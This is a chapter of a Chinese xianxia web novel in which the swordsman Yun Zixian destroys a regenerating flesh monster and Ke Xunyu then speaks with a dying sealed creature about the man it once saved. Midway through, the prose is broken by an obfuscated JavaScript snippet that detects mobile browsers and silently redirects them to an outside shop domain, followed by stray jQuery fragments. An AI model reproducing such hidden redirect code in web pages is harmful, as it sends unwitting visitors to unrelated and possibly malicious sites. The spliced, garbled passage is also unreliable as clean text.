有人曾说天高地阔,何处不可往,可除了这困住它一生的咸阴荒,它竟无处可去,最讽刺的是它连想都想象不出一个桃源。
游煞无力地抬头深深望向笼罩自己的封印,明白自己是再也出不去了,这便是最后的归宿了。
满心不甘又能如何,所做的一切不过是白费功夫,苍天负我!
它忽而低声笑起来,渐渐地,笑声拔高,愈发尖利,直至癫狂,回荡在这死寂无垠之地更显绝望。
游煞疯狂的笑声,引起了客寻羽的注意,不禁发问:“你怎么了?还好吧?”
对这两个再次剥夺它自由的家伙,游煞自然不会有好脸色,厉声喝道:“怎么了,你还问我怎么了,我要死了!这个答案满意了吧!”
云自闲可不会惯着这不识好歹之徒,神识当即引动流影剑,“不会说话就闭嘴。”
游煞顿感背后一股强烈的吸力袭来,身体猛地后退直直砸向剑身,砸中的部位泛起一丝钝痛感,不过比起它日日所受的煞气侵蚀之痛相比,这点疼简直是不值一提。
自己早已时日无多,难道还有什么需要在意顾及的,游煞不管不顾地迅速爬向屏障,把所有的怨怼对着她们发泄出来,“你们把我拖回这无间地狱,还指望我对你们好颜相对吗?妄想!为什么就是不肯放过我?”
客寻羽是有些同情游煞的,可她似乎没这个立场,更不知该如何安慰,几次张口欲言又吞下了。
云自闲看她这幅犹豫的模样,叹了口气:“你同这只笼中困兽有什么好聊的。”
“哧啦!”
正在对峙的双方立刻朝声源处望去,不远处,只见一团软烂的肉块冒出血沼,正刺出利爪来回划动沼层,阴湿腐朽的气息伴随这尚不知全貌的地底生物涌出。
云自闲目光牢牢锁定这团活物,十指翻飞掐诀,灵力于身前汇集,丝丝金光自体内涌出,逐渐凝成一柄光剑,光华璀璨,耀眼夺目,金晕流转间,炽烈严威之气若天光荡净阴晦。
此剑一露面瞬间攫获了客寻羽所有目光,原因无他,实在是太闪了,想必这便是云自闲的本命灵剑“独绝”了,果然非同一般。
她原以为云自闲拿出本命剑是要与血沼妖物对阵,不料他竟直接将独绝塞进了她怀里,眼神轻柔,语气笃定道:“离这里远点,待会我不一定能顾及到你这边,若突生变故,独绝乃是我本命剑,与我心念相通,它会保护你的。”
剑光耀耀环身,像抱着一轮太阳,心似乎也被这夺目的日光忽地烫了下,晃了神。
讷讷点头后便转身离开,不过她没离太远,确保能看到风波现场。
云自闲见客寻羽远离此处,当即手持风生剑严阵以待,就这么一会儿的工夫,那一大块肉团已爬出了血沼,行动间不时发出“嗬嗬”的粗喘。
客寻羽自远处总算得见其全貌,那肉团大如牛,状似鼓,生独眼,不见手足口鼻。
刚出血沼就发现了面前的美味灵肉,这一出狱就有食物送上门了,它可要好好补补,肉团兴奋地塌陷下去,身体张开大窟窿,“噗噗”两下弹跳起步,便径直朝云自闲砸去。
如果不是那肉块过于血腥恐怖,单动作而言或许称的上可爱了。
云自闲右提撩剑,蓄力一击,青锋扫面而过,那肉团便被劈成了两半,直直摔在血沼地上,原以为会就此毙命。
未料及那怪物濒死前还有后招,数道尖刺猛地从血肉内部喷薄而出,待看清时,血刺已然逼近身前。
危险近在眼前,云自闲却丝毫未显慌乱,就在血刺即将洞穿身体之际,护身光罩骤然浮现,细微的“咔擦”声响起,外力袭击下光罩裂痕斑驳,将攻击全数抵挡。
云自闲干脆直接撤去受损的护身罩,目光冷淡地掠过面前的烂肉块,嘲弄道:“原来是个会扎人的刺猬。”
这就结束了?看完全程的客寻羽有些不敢相信,肉团怪物生得这般吓人,实力却如此弱,心下正感叹不可貌相时,就见那原本已被劈成两块的肉团正蠕动靠近,血肉逐渐弥合,重归一体,半点伤痕都没留下。
竟是又活了!
那肉团有些气急败坏,盘中餐居然还敢反抗,暗红的皮肉鼓动几息后涨成青紫色,身形更为膨胀,忽地从那窟窿洞中喷出红色烟雾。
云自闲身形未避,再使风生剑向前横扫,长风飒飒而起,风吹雾散,将直扑面门而来的腥臭烟雾逼退。
眼见一击又不成,肉团故伎重施,再次砸向云自闲,风生剑却比它更快,察觉到不妙,吐出血刺后,肉团迅速后撤,但为时已晚,疾风劲起,一剑斩碎袭来的血刺,剑生风息,气流所过之处尽被撕裂,肉团碎作数段,落地后不停翕动。
云自闲却注意到在被剑风扫过时,肉团的独眼变换了位置,下一剑果断直朝眼球刺去。
可惜扑了个空,那眼球竟能在全身游走,不过这么看重眼睛,果然是弱点。
那肉团似乎知道弱点被发现了,挑衅般直接将眼球吞进身体内部,肉块弹跳着继续修复全身。
云自闲直接纵身点地跃起,风生剑在手中越舞越快,剑光残影,风刃乱袭,聚拢成一道疯狂旋转的风涡,挥剑下压,顷刻间,肉团便被席卷入风涡绞碎,散落一地,但那碎肉仍是活着的,似无数搏动的心脏般突突鼓动。
生命力也太顽强了,这怎么打?
客寻羽有些担忧,不知云自闲要如何应对,却见他已收起了风生剑,似笑非笑道:“喜欢给自己分尸是吧,我倒要看看你到底能给自己分多少块!”
万千星辉从天而降,凝聚成剑落于身前,云自闲直接召出星煌剑,剑化星芒散入肉团体内,牢牢锁住每一块碎肉,使其动弹不得,阻止它们复原。
知晓挣脱无望,肉块开始主动分裂,妄图摆脱禁锢,可金芒如附骨之疽般怎么也甩脱不了,细碎星芒也随其散开,如影随形,紧咬不放,直至肉块越分越小成了一滩烂泥,眼球藏无可藏,最终被星芒直直扎入。
碎肉疯狂扑腾作垂死挣扎,却被星芒牢牢锁定,直至肉末不再动弹,一地暗红血液渐渐凝结,云自闲却没有放松警惕,扔出离火珠,将面前的一滩肉泥烧了个干净,直至灰飞烟灭才放下心来,叫回了客寻羽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918170|213390||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
风波已平,客寻羽当即奔向云自闲,把独绝还给它的主人,“你的剑。”
云自闲点头,却没接过剑,只说:“先不急,咸阴荒内异动频生,难保不会有其他妖物挣脱封印,我们最好先四下探查一番。”
却没等到回应,云自闲见她的视线往游煞那边看去,心下了然,便道:“你想跟这只游煞聊聊?”
“嗯。”
虽说他实在不理解,但还是尊重她的想法吧,由着她去,“行,独绝还是留给你,你聊完,我们再回昆仑。”
云自闲离开后,倒是那只游煞先开口了:“你想问什么?”
客寻羽直接坦白:“你说你在找人,我可以帮你,他叫什么名字?有什么特征?我毕竟是个修士,今后游历修行间,或许机缘巧合下真就遇见了。”
游煞观其神色不似作伪,“你说真的?”
“当然,骗你有什么好处吗?”
“为什么?”
只是有些同情她的遭遇,但若说可怜未免显地傲慢,客寻羽只好道:“我这个人好奇心比较重,帮你的忙也是满足我自己的私心而已。”
游煞良久不语,客寻羽以为它被这话冒犯到,不打算开口的时候,只听到一句“不必了。”
客寻羽心下诧异,不懂怎么突然就变了,“你不想找到他了吗?”
“不是不想,是不找了。”
客寻羽眉心微蹙,实在不解,一时没有接话。
游煞再开口时,带着几分自嘲:“倘若我没能找到他,那么我唯一所愿便是永远都不要再有人找到了。”
等了这么久都没找到的人,若是旁人轻轻松松便找到了,岂不是衬托得它更加像个笑话。
“我的寿命已到尽头,纵然你找到了,对我也没有任何意义了。所以你们加的这层封印根本是多此一举,可你们总不信。”
“我没有不信。”
听闻此话,游煞却笑了,“哦,那就是他不信。”
虽说自己相信,但她也不会质疑云自闲的处理方式,谨慎些也没什么问题,客寻羽便没接这个话茬,继续问道:“你放下了吗?”
放下了吗?它怎么会放下呢!不过是只能到此为止了。
游煞没有回答,回忆如潮水般涌来,自顾自地说着从前。
“他濒死之际是我救了他,他说他还要报仇,要成仙,不能就这么死去,求我救救他,只要能够救他,什么都能为我做。”
“那时游灵一族只剩下了我,我早已生无可恋,他眼里爆发出的强烈求生欲和复仇火焰是那么动人,我被彻底打动了,最后用我族至宝救了他。”
“救下他后,他说一定会解开禁制,让我离开咸阴荒。”
“伤好后他便离开了,偶尔也会回到咸阴荒,给我带些话本、玩物解闷用。”
“他曾经还想在咸阴荒种些灵花异草,说是陪我。后面知道待在水里能让我好受些时,也在此地置过灵泉,来压制我体内的煞气。”
可在咸阴荒,什么都是留不住的,全被煞气侵蚀了个干净。